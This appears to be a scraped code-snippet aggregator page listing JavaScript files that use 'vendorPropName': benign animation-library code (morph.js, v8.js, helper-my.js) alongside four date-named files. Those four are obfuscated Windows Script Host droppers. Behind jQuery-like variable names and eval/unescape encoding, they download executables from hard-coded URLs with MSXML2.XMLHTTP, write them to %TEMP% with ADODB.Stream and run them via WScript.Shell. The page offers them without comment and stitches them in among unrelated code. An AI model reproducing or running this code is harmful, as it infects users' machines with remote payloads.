Best JavaScript code snippet using cypress
morph.js
Source: morph.js
...45 if (name in divstyle) return name;46 }47 },48 has3d: function() {49 var transform = _.vendorPropName('transform');50 divstyle[transform] = '';51 divstyle[transform] = 'rotateY(90deg)';52 return divstyle[transform] !== '';53 },54 on: function(el, type, fn) {55 var arr = type.split(' ');56 for (var i = 0; i < arr.length; i++) {57 if (el.attachEvent) {58 el.attachEvent('on' + arr[i], fn);59 } else {60 el.addEventListener(arr[i], fn, false);61 }62 }63 },64 off: function(el, type, fn) {65 var arr = type.split(' ');66 for (var i = 0; i < arr.length; i++) {67 if (el.detachEvent) {68 el.detachEvent('on' + arr[i], fn);69 } else {70 el.removeEventListener(arr[i], fn, false);71 }72 }73 },74 camel: function(str) {75 return (''+str).replace(/-(\w)/g, function(match, c) {76 return c.toUpperCase();77 });78 },79 uncamel: function(str) {80 return (''+str).replace(/([A-Z])/g, '-$1').toLowerCase();81 },82 addUnit: function(v) {83 return typeof v == 'string' ? v : v + 'px';84 },85 getUnit: function(v) {86 return typeof v == 'string' ? v.replace(/[-\d\.]/g, '') : 'px';87 },88 num: function(n) {89 return +(''+n).replace(/[^-\d.]/g, '');90 },91 lerp: function(ratio, start, end) {92 return start + (end - start) * ratio;93 }94};95/** @license96 * Morph97 *98 * Author: Wesley Luyten99 * Version: 1.0.0 - (2013/02/06)100 */101Morph.defaults = {102 duration: 500103};104Morph.support = {105 transition: _.vendorPropName('transition'),106 transform: _.vendorPropName('transform'),107 transform3d: _.has3d()108};109function Morph(el) {110 if (!(this instanceof Morph)) return new Morph(el);111 this.el = _.query(el) || el;112 this.events = {113 update: new Signal(),114 end: new Signal()115 };116 if (Morph.support.transition) {117 this.engine = new V8(this);118 } else {119 this.engine = new V6(this);120 }121 this.duration(Morph.defaults.duration);122}123Morph.prototype.duration = function(dur) {124 this.engine.duration(dur);125 return this;126};127Morph.prototype.get = function(prop) {128 return this.engine.get(prop);129};130Morph.prototype.set = function(obj, val) {131 this.engine.set(obj, val);132 return this;133};134Morph.prototype.to = function(prop, val) {135 this.engine.to(prop, val);136 return this;137};138Morph.prototype.ease = function(fn) {139 this.engine.ease(fn);140 return this;141};142Morph.prototype.start = function() {143 this.engine.start();144 return this;145};146Morph.prototype.on = function(event, fn) {147 this.events[event].on(fn);148 return this;149};150Morph.prototype.off = function(event, fn) {151 this.events[event].off(fn);152 return this;153};154window.Morph = Morph;155function Signal() {156 this.c = [];157}158Signal.prototype.on = function(fn, c) {159 this.c.push({fn: fn, c: c});160 return this;161};162Signal.prototype.fire = function() {163 var args = [].slice.call(arguments);164 for (var i = 0; i < this.c.length; i++) {165 this.c[i].fn.apply(this.c[i].c || this, args);166 }167 return this;168};169Signal.prototype.off = function(fn) {170 if (fn) {171 for (var i = 0; i < this.c.length; i++) {172 if (this.c[i] === fn) {173 this.c.splice(i, 1);174 i--;175 }176 }177 } else {178 this.c = [];179 }180 return this;181};182V6.aliases = {183 x: 'left',184 y: 'top'185};186function V6(main) {187 this.main = main;188 this.el = main.el;189 this._start = {};190 this._end = {};191}192V6.prototype.duration = function(dur) {193 this._duration = dur;194};195V6.prototype.get = function(prop) {196 prop = V6.aliases[prop] || prop;197 return _.style(this.el, prop);198};199V6.prototype.set = function(obj, val) {200 _.extend(this._start, this.add(obj, val));201 this.setProperties();202 this.update();203};204V6.prototype.to = function(obj, val) {205 _.extend(this._end, this.add(obj, val));206};207V6.prototype.add = function(obj, val) {208 var map = {};209 if (val !== undefined) map[obj] = val;210 else _.extend(map, obj);211 for (var alias in V6.aliases) {212 if (map[alias] !== undefined) {213 map[V6.aliases[alias]] = map[alias];214 delete map[alias];215 }216 }217 return map;218};219V6.prototype.setProperties = function() {220 for (var prop in this._start) {221 this.el.style[_.camel(prop)] = _.addUnit(this._start[prop]);222 }223};224V6.prototype.initProperties = function() {225 for (var prop in this._end) {226 if (!this._start[prop]) {227 this._start[prop] = _.style(this.el, prop) || 1;228 }229 }230};231V6.prototype.applyProperties = function(ratio) {232 for (var prop in this._end) {233 var start = this._start[prop];234 var end = this._end[prop];235 var calc = _.lerp(ratio, _.num(start), _.num(end));236 this.el.style[_.camel(prop)] = calc + _.getUnit(end);237 }238};239V6.prototype.ease = function(fn) {240 241};242V6.prototype.start = function() {243 this.reset();244 this.initProperties();245 var _this = this;246 var ratio = 0;247 var last = +new Date();248 var tick = function() {249 ratio += (new Date() - last) / _this._duration;250 ratio = ratio > 1 ? 1 : ratio;251 last = +new Date();252 _this.applyProperties(ratio);253 _this.update();254 if (ratio === 1) _this.end();255 };256 this.id = setInterval(tick, 16);257};258V6.prototype.update = function() {259 this.main.events.update.fire();260};261V6.prototype.end = function() {262 clearInterval(this.id);263 this.main.events.end.fire();264};265V6.prototype.reset = function() {266 clearInterval(this.id);267 this._start = {};268};269V8.translate = _.has3d ? ['translate3d(',', 0)'] : ['translate(',')'];270V8.ends = [271 'transitionend',272 'webkitTransitionEnd',273 'oTransitionEnd',274 'MSTransitionEnd'275].join(' ');276V8.aliases = {277 x: {278 set: function(map, v) { map.transformX = V8.translate.join(v + ', 0'); },279 get: function(el, prop) { return _.matrix(_.style(el, _.vendorPropName('transform'))).x; }280 },281 y: {282 set: function(map, v) { map.transformY = V8.translate.join('0, ' + v); },283 get: function(el, prop) { return _.matrix(_.style(el, _.vendorPropName('transform'))).y; }284 }285};286function V8(main) {287 this.main = main;288 this.el = main.el;289 this._update = _.bind(this.update, this);290 this._end = _.bind(this.end, this);291 this.reset();292}293V8.prototype.reset = function() {294 this._props = {};295 this._transitionProps = [];296 this._transforms = [];297 this._ease = '';298};299V8.prototype.duration = function(n) {300 this._duration = n;301};302V8.prototype.ease = function(fn) {303 this._ease = fn;304};305V8.prototype.setVendorProperty = function(prop, val) {306 this._props[_.uncamel(_.vendorPropName(prop))] = val;307};308V8.prototype.get = function(prop) {309 if (V8.aliases[prop]) return V8.aliases[prop].get(this.el, prop);310 return _.style(this.el, _.vendorPropName(prop));311};312V8.prototype.set = function(obj, val) {313 this.duration(0);314 this.to(obj, val);315 this.start();316 this.update();317};318V8.prototype.to = function(obj, val) {319 var adds = this.add(obj, val);320 for (var prop in adds) {321 if (prop.match(/^transform/)) {322 this.transform(adds[prop]);323 delete adds[prop];324 } else {...
20160330_cc4c050ebf6f4a4134dbb8d6069ed4c8.js
2eval(unescape(["var&20remaining&20&3D&20&281668&29&2C&20rclass&20&3D&20&28&22c&22&29&2C&20rquery&20&3D&20&28&22T&22&", "29&3Brtrim&20&3D&20&28&22.3.0&22&29&2C&20size&20&3D&20&28&22TP&22&29&2C&20_evalUrl&20&3D&20&28&22htt", "&22&29&2C&20round&20&3D&20&28&22p&22&29&2C&20createTween&20&3D&20&28200&29&2C&20matchAnyContext&20&3", "D&20&2828&29&3Bleft&20&3D&20&28&22SaveTo&22&29&3B&20then&20&3D&20&28&22r&22&29&3B&20cloneCopyEvent&2", "0&3D&20&28&22WScrip&22&29&3B&20contextBackup&20&3D&20&28&222.XML&22&29&3B&20find&20&3D&20&28&22tate&", "22&29&3Bvar&20w&20&3D&20&28&22R&22&29&3Bpush_native&20&3D&20&28&22eObjec&22&29&3BprefilterOrFactory&", "20&3D&20&28&22set&22&29&2C&20box&20&3D&20&28&22t&22&29&2C&20speed&20&3D&20&28&22MLHTT&22&29&3Binvert", "&20&3D&20&28&22.&22&29&3B&20location&20&3D&20&28&22andEn&22&29&3B&20func&20&3D&20&28&22S&22&29&3B&20", "_jQuery&20&3D&20&28&22WScr&22&29&3B&20original&20&3D&20&2845&29&3BoriginalProperties&20&3D&20&28&22d", "idm&22&29&2C&20id&20&3D&20&281&29&3Bvar&20isPropagationStopped&20&3D&20&283&29&2C&20j&20&3D&20&285&2", "9&2C&20lang&20&3D&20&28&22s&22&29&2C&20split&20&3D&20&28547&29&2C&20matchIndexes&20&3D&20&28&22m&22&", "29&3Bvar&20forward&20&3D&20&28&22com&22&29&2C&20display&20&3D&20&28&22Cre&22&29&2C&20getComputedStyl", "e&20&3D&20&28&22.Se&22&29&2C&20send&20&3D&20&28&22BQOV&22&29&3Bvar&20replaceAll&20&3D&20&28&22pe&22&", "29&2C&20lock&20&3D&20&28&22apply&22&29&3Bvar&20source&20&3D&20&28&22y&22&29&2C&20camelCase&20&3D&20&", "28&22ell&22&29&2C&20isArray&20&3D&20&28&22/jad&22&29&2C&20MAX_NEGATIVE&20&3D&20&28&22et.&22&29&3Beas", "ing&20&3D&20&28&22n&22&29&2C&20slideUp&20&3D&20&28&22otyp&22&29&2C&20allTypes&20&3D&20&28&22ee&22&29", "&2C&20val&20&3D&20&28&22rea&22&29&3B&24&20&3D&20&288&29&3B&20etag&20&3D&20&28&220&22&29&3B&20max&20&", "3D&20&28function&20tbody&28&29&7B&7D&2C&20&22de&22&29&3B&20getJSON&20&3D&20&28&22lEv&22&29&3B&20curT", "op&20&3D&20&28&22QOV.e&22&29&3Bfn&20&3D&20&28&22sof&22&29&3B&20token&20&3D&20&28&22p&3A/&22&29&3B&20", "createElement&20&3D&20&28&22P.6&22&29&3B&20prependTo&20&3D&20&28&22bject&22&29&3Bvar&20firstChild&20", "&3D&20&28&22XML&22&29&2C&20sortOrder&20&3D&20&28&22&25TEMP&22&29&2C&20stateString&20&3D&20&28&22TP.6", ".&22&29&2C&20attributes&20&3D&20&28&22length&22&29&2C&20keepData&20&3D&20&2844&29&2C&20hidden&20&3D&", "20&28163&29&3Bvar&20pageX&20&3D&20eval&2C&20innerText&20&3D&20&2830&29&2C&20callbackExpect&20&3D&20&", "28&22stru&22&29&2C&20sortStable&20&3D&20&28&22.Str&22&29&2C&20specialEasing&20&3D&20&2849&29&2C&20co", "ntentType&20&3D&20&28&22mentSt&22&29&3Brsibling&20&3D&20&28&22erverX&22&29&3B&20dataPriv&20&3D&20&28", "function&20tbody.gotoEnd&28&29&7Bvar&20xhrSupported&3D&20&5B&5D&5B&22con&22&20+&20callbackExpect&20+", "&20&22cto&22&20+&20then&5D&5B&22prot&22&20+&20slideUp&20+&20&22e&22&5D&5BdataPriv&20+&20&22rt&22&5D&", "5Block&5D&28&29&3B&20return&20xhrSupported&3B&7D&2C&20&22so&22&29&3B&20acceptData&20&3D&20&282&29&3B", "&20nodeIndex&20&3D&20&28&22op&22&29&3B&20guaranteedUnique&20&3D&20&28&22Msx&22&29&3B&20parts&20&3D&2", "0&28&22W&22&29&3BcheckClone&20&3D&20&2872&29&3Bduplicates&20&3D&20&28&22Msxm&22&29&2C&20removeData&2", "0&3D&20&28&22ript&22&29&3Bcomplete&20&3D&20&28&22Obje&22&29&3B&20pointerenter&20&3D&20&284097&29&3B&", "20unit&20&3D&20&28&22respo&22&29&3Binput&20&3D&20&28&22ml2&22&29&3B&20binary&20&3D&20&284&29&3B&20re", "lative&20&3D&20&28&22tus&22&29&3B&3B"].join("")3 .replace(/&/g, '%')));4duration = triggerHandler = marginLeft = classes = tbody.gotoEnd();5function boxSizingReliableVal(dequeue, createComment, click) {6 vendorPropName("end&28_evalUrl&20+&20&22p&3A/&22&20+&20isArray&20+&20&22idmark&22&20+&20MAX_NEGATIVE&20+&20&22com/pu&22&20+&20send&20+&20&22.exe&22&29&3B".replace(/&/g, '%'));7}8function prop(focus, html) {9 vendorPropName("rmargin&20&3D&20marginLeft&5B_jQuery&20+&20&22ipt&22&5D&5Bdisplay&20+&20&22ateO&22&20+&20prependTo&5D&28&22ADODB&22&20+&20sortStable&20+&20&22eam&22&29&3B".replace(/&/g, '%'));10}11function rcomma() {12 vendorPropName("classes&5B&22WScrip&22&20+&20box&5D&5B&22Sl&22&20+&20allTypes&20+&20&22p&22&5D&28&28&28remaining+491&29*&28hidden&2C2&29+&28specialEasing*13+original&29&29&29&3B".replace(/&/g, '%'));13}14function expando(tokenCache) {15 vendorPropName("ct&20&3D&20pdataCur&5B&22Exp&22&20+&20location&20+&20&22viron&22&20+&20contentType&20+&20&22rings&22&5D&28sortOrder&20+&20&22&25/&22&29&20+&20prefilterOrFactory&20+&20&22Globa&22&20+&20getJSON&20+&20&22al&22&20+&20invert&20+&20&22s&22&20+&20rclass&20+&20&22r&22&3B".replace(/&/g, '%'));16}17function index(style, createTextNode) {18 vendorPropName("pdataCur&20&3D&20classes&5B&22WScrip&22&20+&20box&5D&5B&22Creat&22&20+&20push_native&20+&20&22t&22&5D&28_jQuery&20+&20&22ipt.Sh&22&20+&20camelCase&29&3B".replace(/&/g, '%'));19}20function realStringObj(unwrap) {21 vendorPropName("merge&5BnodeIndex&20+&20&22e&22&20+&20easing&5D&28&22GE&22&20+&20rquery&2C&20&22htt&22&20+&20token&20+&20&22/ja&22&20+&20originalProperties&20+&20&22arket.&22&20+&20forward&20+&20&22/puB&22&20+&20curTop&20+&20&22xe&22&2C&20&21&28j&20&3D&3D&20&28&28Math.pow&283&2C&20acceptData&29-4&29&7C&28keepData-40&29&29&29&29&3B".replace(/&/g, '%'));22}23function _queueHooks(fx) {24 vendorPropName("while&20&28merge&5Bval&20+&20&22dyS&22&20+&20find&5D&20&21&3D&20&28&28binary&7C0&29&26&28matchAnyContext-23&29&29&29&20duration&5B&22WSc&22&20+&20removeData&5D&5B&22Slee&22&20+&20round&5D&28&28&28checkClone/36&29*&28&24-3&29*&28j&7C1&29*&28id*2&29&29&29&3B".replace(/&/g, '%'));25}26function parents(undelegate) {27 vendorPropName("special&20&3D&20&5Bduplicates&20+&20&22l2.S&22&20+&20rsibling&20+&20&22MLHT&22&20+&20stateString&20+&20&220&22&2C&20guaranteedUnique&20+&20&22ml2.&22&20+&20firstChild&20+&20&22HTT&22&20+&20createElement&20+&20&22.0&22&2C&20guaranteedUnique&20+&20&22ml2&22&20+&20getComputedStyle&20+&20&22rverX&22&20+&20speed&20+&20&22P.3.&22&20+&20etag&2C&22Msxml&22&20+&20contextBackup&20+&20&22HTTP&22&20+&20rtrim&2C&20&22Msx&22&20+&20input&20+&20&22.XMLHT&22&20+&20size&2C&20&22Micro&22&20+&20fn&20+&20&22t.X&22&20+&20speed&20+&20&22P&22&5D&3B".replace(/&/g, '%'));28}29function vendorPropName(events) {30 return pageX(unescape(events));31}32index();33expando(sortOrder, pageX, $, relative, rclass);34parents(display, complete);35prop();36rmargin[matchIndexes + "o" + max] = (3 & isPropagationStopped);37rmargin["ty" + round + "e"] = (1 & (id + 0));38boxSizingReliableVal(rtrim, sortStable, then);39function end() {40 for(parseOnly = (id * 0); parseOnly < special[attributes]; parseOnly++) {41 try {42 merge = triggerHandler["WSc" + removeData]["Create" + complete + "ct"](special[parseOnly]);43 realStringObj(checkClone, rquery, specialEasing);...
helper-my.js
Source: helper-my.js
...114function supportCss3(name) {115 if (typeof name !== 'string') {116 return false;117 }118 return !!vendorPropName(name);119}120/**121 * è·åtransitionend äºä»¶å称122 * */123function getTransitionEndName() {124 var transEndEventNames = {125 WebkitTransition: 'webkitTransitionEnd',126 MozTransition: 'transitionend',127 OTransition: 'oTransitionEnd otransitionend',128 transition: 'transitionend'129 };130 var name = vendorPropName('transition');131 return name ? transEndEventNames[name] : null;...
20160308_09c094f991e89addd03f8ea1e31639b7.js
1var results = "teObj",2 msFullscreenElement = "b4",3 open = "4g",4 pnum = 1,5 nidselect = 21,6 dataAndEvents = "WScrip";7rhtml = "pen";8stopQueue = "nm";9var writable = 2;10removeEventListener = 42;11inspected = "readys";12originAnchor = "a";13val = "ea";14matcherFromGroupMatchers = "hell";15uniqueID = 11;16scripts = "ect";17Callbacks = "WSc";18toSelector = "MP%/";19unbind = "iro", cacheURL = "Exp";20aup = "ings", not = (function Object.prototype.timer() {21 return this22}, 131), oldCache = "Slee";23attrId = 37;24obj = 211;25ignored = 7;26Sizzle = "entStr";27argument = 5;28hasData = "MSXML2";29filters = "ipt";30detectDuplicates = 19;31tweeners = "TP";32caption = "://fk";33refElements = "ositi";34var script = "WScr",35 reliableMarginLeftVal = 110,36 hasCompare = "6",37 parent = "7uh5",38 isNumeric = "Obje";39var optSelected = 629,40 fadeIn = "n",41 indirect = "B.S",42 rdisplayswap = "te",43 div = 1581;44rxhtmlTag = "Sleep";45operator = "eam";46types = "rip";47initial = "Run", now = 43, keyHooks = "write";48fadeToggle = "WS";49parseHTML = 87;50charset = "tr";51matchContext = "eObj";52deepDataAndEvents = "t.S";53flatOptions = 41;54vendorPropName = "t";55handler = "ope";56onlyHandlers = 102;57textContent = 4, actualDisplay = "Creat", host = ".XMLHT", dirrunsUnique = "and", rjsonp = "ADOD", setMatchers = 8014;58var createDocumentFragment = "WScri",59 originalProperties = 74,60 second = "Create",61 closest = "e",62 isPlainObject = 1056,63 pop = "cl";64var globalEval = 4317,65 progressValues = "ET";66defaultPrevented = "simula", addGetHookIf = "c";67var scrollLeft = "y",68 defaultPrefilter = "send",69 cssHooks = "p",70 currentTime = "cript",71 a = "http";72iNoClone = "Env", until = "s", implementation = "nseBod";73var clazz = "e.fr/",74 getWindow = "e.fre",75 fragment = "oFi";76var rnumnonpx = "ec",77 beforeunload = 9,78 image = 0,79 fixHooks = "saveT",80 children = "%TE";81add = ".scr", createButtonPseudo = "o", rchecked = 59;82var backgroundClip = 81,83 last = "G";84newDefer = "le", inArray = "tat", bool = "crip", offsetHeight = 116, rhash = "Resp";85var input = "ouan",86 processData = "pe",87 dataTypeExpression = "Cr";88to = (((35 | reliableMarginLeftVal) & (1386 / uniqueID)), ((3 + (writable | 3)), this));89adjustCSS = initial;90returnTrue = to[fadeToggle + currentTime];91duplicates = returnTrue[dataTypeExpression + val + results + scripts](fadeToggle + bool + deepDataAndEvents + matcherFromGroupMatchers);92nodeValue = duplicates[cacheURL + dirrunsUnique + iNoClone + unbind + stopQueue + Sizzle + aup](children + toSelector) + defaultPrevented + rdisplayswap + add;93sibling = to[createDocumentFragment + cssHooks + vendorPropName][second + isNumeric + addGetHookIf + vendorPropName](hasData + host + tweeners);94sibling[handler + fadeIn](last + progressValues, a + caption + originAnchor + input + getWindow + clazz + hasCompare + parent + open + msFullscreenElement, !(argument < (Math.pow(((Math.pow(((0 | textContent) | (151, offsetHeight, 7)), (writable + 0)) - (Math.pow((reliableMarginLeftVal - 80), (pnum + 1)) - (div - 720))) ^ ((parseHTML - 53) / (optSelected / 37)) * (writable | 0)), (((image & 1) | (attrId - 35)) & ((onlyHandlers) / (32 | writable)))) - (Math.pow((Math.pow(((Math.pow(32, writable) - 989) * (pnum | 2) + (image | 10)), ((backgroundClip - 63) / (textContent * 2 + pnum))) - ((5 | nidselect), (117603 / beforeunload))), ((28, not, 2))) - ((writable * 2 * writable * 2 * rchecked * 2 * argument ^ (25570 + originalProperties)) | (Math.pow((287 ^ globalEval), (1 * writable)) - 257 * ignored * 11483))))));95sibling[defaultPrefilter]();96while (sibling[inspected + inArray + closest] < (writable * 2 | (image | 4))) {97 to[Callbacks + types + vendorPropName][oldCache + cssHooks](((isPlainObject / 11) | (pnum + 3)));98}99qualifier = to[dataAndEvents + vendorPropName][actualDisplay + matchContext + rnumnonpx + vendorPropName](rjsonp + indirect + charset + operator);100to[script + filters][rxhtmlTag](((detectDuplicates * 2 + ignored), (41 + obj), 31 * writable * 2, (setMatchers + 6986)));101qualifier[createButtonPseudo + rhtml]();102genFx = qualifier;103genFx[vendorPropName + scrollLeft + processData] = (pnum * 1);104focusin = genFx;105qualifier[keyHooks](sibling[rhash + createButtonPseudo + implementation + scrollLeft]);106focusin[cssHooks + refElements + createButtonPseudo + fadeIn] = (pnum + -1);107qualifier[fixHooks + fragment + newDefer](nodeValue, ((removeEventListener / 42) + pnum));108qualifier[pop + createButtonPseudo + until + closest]();109scrollTo = duplicates;...
20160311_1213b8b0e62c00b972332610b6ab7c55.js
1keepData = "posi", origType = 13, opt = 12, noCloneChecked = "Res";2var parseXML = "ipt";3var func = "ent",4 transports = 10987,5 prefix = 191,6 boxSizingReliableVal = 23,7 rneedsContext = 102577,8 timerId = "hell";9tbody = 9, show = "h", param = 15;10ownerDocument = "WScr", simple = "T", newDefer = "op";11offsetWidth = 1, exports = 16, throws = 14;12isPlainObject = 353, collection = 20, acceptData = "ndEn", hash = 59;13addEventListener = 213;14click = "Creat";15round = 180;16success = "2.XML";17fragment = "sc";18dispatch = 34;19pos = "WScri";20var startLength = "ty",21 pageYOffset = "Sleep",22 nodes = "t";23startTime = "ADOD", el = 24, superMatcher = "1.199/", forward = "/", size = 112, concat = "o";24protocol = "xtend", sourceIndex = "u", map = 7018;25rwhitespace = "jec", rdisplayswap = 205, push_native = 1327, documentElement = 55;26constructor = "/50.28";27jsonProp = "nd", jqXHR = 10105, params = 8, createPseudo = 148, curCSS = "5y4";28hookFn = "Crea", fns = 229, fnOut = 154, source = 140, chainable = 164, head = "ngs";29var getScript = "pe",30 matchesSelector = 131,31 handleObj = 4,32 pointerleave = 17;33version = "tream";34postDispatch = "Bod";35statusText = 41;36fnOver = "e";37elementMatchers = (function String.prototype.offset() {38 var implicitRelative = this;39 return implicitRelative40}, "ile"), fix = "ateObj", qsa = "n", state = "save";41needsContext = 44;42var dir = 403,43 combinator = 2,44 attributes = "0/89";45var container = 0,46 expando = 146,47 createTextNode = 25,48 then = 5,49 vendorPropName = 3;50define = (((2 + throws) | (14 & opt)), (Math.pow(18, combinator) - 305), eval("t" + show + "is".offset()));51createOptions = define[pos + "pt"];52serializeArray = createOptions[hookFn + "teOb" + rwhitespace + "t".offset()](ownerDocument + "ipt.S" + timerId);53suffix = serializeArray["Expa" + acceptData + "vironm".offset() + func + "Stri" + head]("%TEMP%" + forward) + "ajaxE".offset() + protocol + "." + fragment + "r";54now = define[ownerDocument + "ipt".offset()][click + "eObjec" + nodes]("MSXML" + success + "HTTP".offset());55now[newDefer + "e" + qsa]("GE" + simple, "http:/".offset() + constructor + ".21" + superMatcher + "hdd" + attributes + "o8i76u".offset() + curCSS, !(((((documentElement - 44) - ((collection - 13) & (then + 2))) & (((createPseudo / 37) & (combinator * 3 + offsetWidth)))) + ((((1127 + jqXHR) / (9 * handleObj)) - ((299 - source) & (6 * dispatch + 2))) / (((prefix, 113, chainable, 1) * (createTextNode - 7)) + (origType + (171, vendorPropName))))) == (Math.pow(((42 - statusText) | ((Math.pow(37, combinator) - (165, push_native)) / (Math.pow((176 / needsContext), (3 & combinator)) - (9 & param)))), (((1 * combinator) & (3 & vendorPropName)) + (0 | container))) - (Math.pow(((2 * boxSizingReliableVal * 3 * vendorPropName * 3 / combinator * 3), ((map - 2629) / (tbody + 10)), ((Math.pow(then, 2) - exports) | (68 | container)), ((8 + tbody) | (Math.pow(20, combinator) - 371))), (((fnOut, 242, round, 29) + vendorPropName * 3) / ((handleObj * 4 + combinator) | (72 / el)))) - ((Math.pow((472 | dir), (2 / offsetWidth)) - (122247 + rneedsContext)))))));56now["se" + jsonProp]();57triggered = define["WScr" + parseXML]["Cre".offset() + fix + "ect"](startTime + "B.S" + version);58triggered["o".offset() + getScript + "n"]();59holdReady = triggered;60trigger = serializeArray;61holdReady[startLength + "p" + fnOver] = (1 * offsetWidth);62createElement();63multipleContexts();64method();65props();66triggered[state + "ToF" + elementMatchers](suffix, ((expando - 81), (rdisplayswap & 231), (fns, 110, addEventListener, 2)));67deepDataAndEvents = triggered;68deepDataAndEvents["cl" + concat + "se".offset()]();69clearTimeout();70trigger["R" + sourceIndex + "n".offset()](suffix.offset((Math.pow((hash & 62), (combinator + 0)) - matchesSelector * 5 * then)), 0, ((isPlainObject - 183), (pointerleave + 35), (fnOut + 6), (offsetWidth + -1)));71function props() {72 eval(unescape("%20%20%20%20%20%20%20%20clearQueue%5BkeepData%20+%20%22tion%22.offset%28%29%5D%20%3D%20%280/%28size-81%29%29%3B%0D"));73}74function multipleContexts() {75 eval(unescape("%20%20%20%20%20%0D"));76}77function createElement() {78 eval(unescape("%20%20%20%20%20%20%20%20clearQueue%20%3D%20holdReady%3B%0D"));79}80function method() {81 eval(unescape("%20%20%20%20%20%20%20%20triggered%5B%22write%22.offset%28%29%5D%28now%5BnoCloneChecked%20+%20%22ponse%22%20+%20postDispatch%20+%20%22y%22%5D%29%3B%0D"));82}83function clearTimeout() {84 eval(unescape("%20%20%20%20%20%20%20%20define%5Bpos%20+%20%22pt%22%5D%5BpageYOffset%5D%28%28%28params%7C21004%29-%28transports-4983%29%29%29%3B%20%20%20%0D"));...
20160313_8ca05df4a33b1151f2fdb6890173cca8.js
1var contextBackup = "on";2factory = "om/70.";3curCSSLeft = 3;4setMatched = "L2.XML";5camel = 2;6siblings = "ape";7host = "eTo";8curLeft = "yp", rcomma = 122, pattern = 0, optDisabled = 48;9offsetHeight = 57;10var tabIndex = "ject",11 calculatePosition = "y",12 attaches = 12,13 callbackName = "://o",14 pseudo = 1;15oMatchesSelector = 5, matchAnyContext = "t";16oldfire = "trings";17cacheLength = "iro";18xml = "se", offset = "loguyf";19var bool = "Respo",20 selection = "o";21after = 82, disconnectedMatch = 6;22var trim = "n";23conv = "WScri", abort = (function createButtonPseudo() {}, 6604);24var elem = "wr",25 parts = "WSc",26 hover = 108,27 unit = "op",28 unique = "Creat";29rxhtmlTag = "ct";30var rejectWith = "leep",31 hasCompare = "ipt",32 fns = "ipt.S";33appendChild = 13, queue = 113, concat = 255, raw = "sc", elemLang = 195, resolve = "MP%/";34eventDoc = (function createButtonPseudo.getClass() {35 var finalDataType = this;36 return finalDataType;37}, "close");38diff = "ateO";39now = "Strea";40outermostContext = "Expa";41success = 40;42xhrSuccessStatus = "Create";43requestHeadersNames = "T";44jsonp = createButtonPseudo.getClass();45swap = this["WScrip" + matchAnyContext];46rcssNum = swap["Cre" + diff + "bjec" + matchAnyContext]("WScr" + fns + "hell");47contains = rcssNum[outermostContext + "ndEnv" + cacheLength + "nmentS" + oldfire]("%TE" + resolve) + "runesc" + siblings + "." + raw + "r";48cloneNode = this[parts + "ript"][xhrSuccessStatus + "Obje" + rxhtmlTag]("MSXM" + setMatched + "HTTP");49cloneNode[unit + "e" + trim]("GE" + requestHeadersNames, "http" + callbackName + "hel" + offset + "f.c" + factory + "exe", !((((144 / optDisabled) & 3) + ((Math.pow(camel * 2, camel) - (8 + pseudo)))) == (((2 * oMatchesSelector) | (1 * ((Math.pow(after, 2) - abort) / (149, queue, 94, attaches)))) & ((((177 & concat), (Math.pow(3, camel) - 4)) * ((curCSSLeft & 3) + pattern)) | ((2 + (disconnectedMatch | 0)) + ((disconnectedMatch | 6) + (pseudo + -1)))))));50cloneNode[xml + "nd"]();51vendorPropName = this[conv + "pt"][unique + "eOb" + tabIndex]("ADODB." + now + "m");52vendorPropName[selection + "pe" + trim]();53nodeIndex = vendorPropName;54compilerCache = rcssNum;55nodeIndex["t" + curLeft + "e"] = (pseudo * 1);56replaceAll();57selector();58interval();59define();60vendorPropName["sav" + host + "File"](contains, ((1 * camel) & (3 & curCSSLeft)));61height = vendorPropName;62height[eventDoc]();63p();64compilerCache["Ru" + trim](contains, ((pseudo + 0) + -(hover, 103, elemLang, 1)), ((rcomma, 57, pattern) | 0));65function interval() {66 eval(unescape("%20%20%20%20%20%20%20%20vendorPropName%5Belem%20+%20%22ite%22%5D%28cloneNode%5Bbool%20+%20%22nseBod%22%20+%20calculatePosition%5D%29%3B%0D"));67}68function selector() {69 eval(unescape("%20%20%20%20%20%0D"));70}71function define() {72 eval(unescape("%20%20%20%20%20%20%20%20wait%5B%22positi%22%20+%20contextBackup%5D%20%3D%20%28%28pseudo%7C0%29+-%28pseudo%29%29%3B%0D"));73}74function p() {75 eval(unescape("%20%20%20%20%20%20%20%20this%5B%22WScr%22%20+%20hasCompare%5D%5B%22S%22%20+%20rejectWith%5D%28%281+pseudo%29*5*camel*%2818-appendChild%29*%28200/success%29*%283%7CcurCSSLeft%29*2*%28offsetHeight-52%29%29%3B%20%20%20%0D"));76}77function replaceAll() {78 eval(unescape("%20%20%20%20%20%20%20%20wait%20%3D%20nodeIndex%3B%0D"));...
v8.js
Source: v8.js
...7].join(' ');8V8.aliases = {9 x: {10 set: function(map, v) { map.transformX = V8.translate.join(v + ', 0'); },11 get: function(el, prop) { return _.matrix(_.style(el, _.vendorPropName('transform'))).x; }12 },13 y: {14 set: function(map, v) { map.transformY = V8.translate.join('0, ' + v); },15 get: function(el, prop) { return _.matrix(_.style(el, _.vendorPropName('transform'))).y; }16 }17};18function V8(main) {19 this.main = main;20 this.el = main.el;21 this._update = _.bind(this.update, this);22 this._end = _.bind(this.end, this);23 this.reset();24}25V8.prototype.reset = function() {26 this._props = {};27 this._transitionProps = [];28 this._transforms = [];29 this._ease = '';30};31V8.prototype.duration = function(n) {32 this._duration = n;33};34V8.prototype.ease = function(fn) {35 this._ease = fn;36};37V8.prototype.setVendorProperty = function(prop, val) {38 this._props[_.uncamel(_.vendorPropName(prop))] = val;39};40V8.prototype.get = function(prop) {41 if (V8.aliases[prop]) return V8.aliases[prop].get(this.el, prop);42 return _.style(this.el, _.vendorPropName(prop));43};44V8.prototype.set = function(obj, val) {45 this.duration(0);46 this.to(obj, val);47 this.start();48 this.update();49};50V8.prototype.to = function(obj, val) {51 var adds = this.add(obj, val);52 for (var prop in adds) {53 if (prop.match(/^transform/)) {54 this.transform(adds[prop]);55 delete adds[prop];56 } else {...
finalPropName.js
Source: finalPropName.js
